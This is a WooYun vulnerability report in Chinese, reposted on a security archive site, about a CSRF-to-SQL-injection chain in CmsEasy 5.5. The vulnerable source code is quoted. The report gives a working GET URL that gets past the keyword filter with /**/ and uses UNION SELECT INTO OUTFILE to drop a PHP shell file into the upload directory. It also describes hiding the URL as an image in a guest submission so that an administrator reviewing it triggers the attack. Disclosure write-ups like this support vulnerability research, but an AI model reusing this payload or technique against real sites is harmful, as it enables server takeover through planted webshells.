摘要 2014-09-03: 细节已通知厂商并且等待厂商处理中
2014-09-05: 厂商已经确认,细节仅向厂商公开
2014-09-08: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-10-30: 细节向核心白帽子及相关领域专家公开
2014-11-09: 细节向普通白帽子公开
2014-11-19: 细节向实习白帽子公开
2014-12-02: 细节向公众公开
漏洞概要 关注数(20 ) 关注此漏洞
漏洞标题: cmseasy csrf导致sql注入绕过union getshell
提交时间: 2014-09-03 17:50
公开时间: 2014-12-02 17:52
漏洞类型: CSRF
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系
漏洞详情
披露状态:
2014-09-03: 细节已通知厂商并且等待厂商处理中 2014-09-05: 厂商已经确认,细节仅向厂商公开 2014-09-08: 细节向第三方安全合作伙伴开放(绿盟科技 、唐朝安全巡航 、无声信息 ) 2014-10-30: 细节向核心白帽子及相关领域专家公开 2014-11-09: 细节向普通白帽子公开 2014-11-19: 细节向实习白帽子公开 2014-12-02: 细节向公众公开
简要描述:
上一次做了一个csrf+sql注入getshell的 这一次我继续发一个,由于此属于一个get类型的,所以很简单的,管理员根本就不用去点击,就能触发sql并且getshell
详细说明:
首先我们分析一下sql语句:
admin/live/header.php:(line:16-21)
code 区域
include('../../include/config.inc.php'); include(CE_ROOT.'/include/admin/check.inc.php'); include(CE_ROOT.'/include/celive.class.php'); $admin_header = new celive(); $admin_header->template(); $admin_header->admin_xajax_live();
然后我们跟到admin_xajax_live这个函数里面看看:
code 区域
function admin_xajax_live() { if (!$this->admin_xajax_live_flag) { $this->admin_xajax_live_flag=true; include_once(dirname(__FILE__).'/xajax.inc.php'); include_once(dirname(__FILE__).'/xajax.class.php'); global $admin_xajax_live; $admin_xajax_live=new xajax(); $admin_xajax_live->setCharEncoding('utf-8'); $admin_xajax_live->decodeUTF8InputOn(); $admin_xajax_live->registerFunction('ChangeStatus'); $admin_xajax_live->registerFunction('AdminResponse'); $admin_xajax_live->registerFunction('AdminSound'); $admin_xajax_live->registerFunction('AdminDecline'); $admin_xajax_live->registerFunction('AdminChatHistory'); $admin_xajax_live->registerFunction('AdminPostdata'); $admin_xajax_live->registerFunction('EndChats'); $admin_xajax_live->registerFunction('GetEndChat'); $admin_xajax_live->registerFunction('AdminExit'); $admin_xajax_live->processRequests(); } }
看到注册函数这里了有一个GetEndChat:
code 区域
function GetEndChat($chatid) { global $db; $objResponse = new xajaxResponse('utf-8'); $sql = "SELECT `status` FROM `chat` WHERE `id`='" . $chatid . "'"; @$result = $db->query($sql); if ($result[0]['status'] == 0) { $objResponse->script("alert('<?php echo $lang[reception]?>');window.parent.close();"); } return $objResponse; }
然而这个$chatid没有做任何过滤就被传递进来了,之前有人对这里前台进行分析过:
http://**.**.**.**/CmsEasy_5.5_UTF-8_20140818/uploads/celive/admin/live/header.php?xajax=GetEndChat&xajaxargs=xxxxx' union select/**/'<?php phpinfo?>' into outfile 'D:/APMSERVER/APMServ5.2.6/www/htdocs/CmsEasy_5.5_UTF-8_20140818/uploads/upload/images/shell.php'#
这里我们要说明一下,由于全局对危险函数做了过滤和检测select后面要是不添加/**/这里是被拦截的
然后我们队此url进行url编码:
下来我们以游客身份进行投稿:
到这里大家应该就明白了,管理员是要审核的,我们这里把这个get链接,发给了一个图片,管理员审核的时候,看到图片其实我们的请求就已经发出去了,当然了在响应的目录下面也已经生成了,shellcode
我们再看看uploads/img底下有没有我们想要的文件:
对了这里差两个括号,补上就是了。。。。。。
ok到此.............
漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2014-09-05 13:09
厂商回复:
祝节日快乐
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0 人评价) :
评价
2014-09-03 17:52 |
铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
0
2014-09-03 19:23 |
BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
0
2014-09-04 06:53 |
存在敏感词 ( 实习白帽子 | Rank:66 漏洞数:9 | 昵称存在敏感词)
0
免责声明: 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/25678.html
复制链接
复制链接
左青龙
微信扫一扫
右白虎
微信扫一扫
评论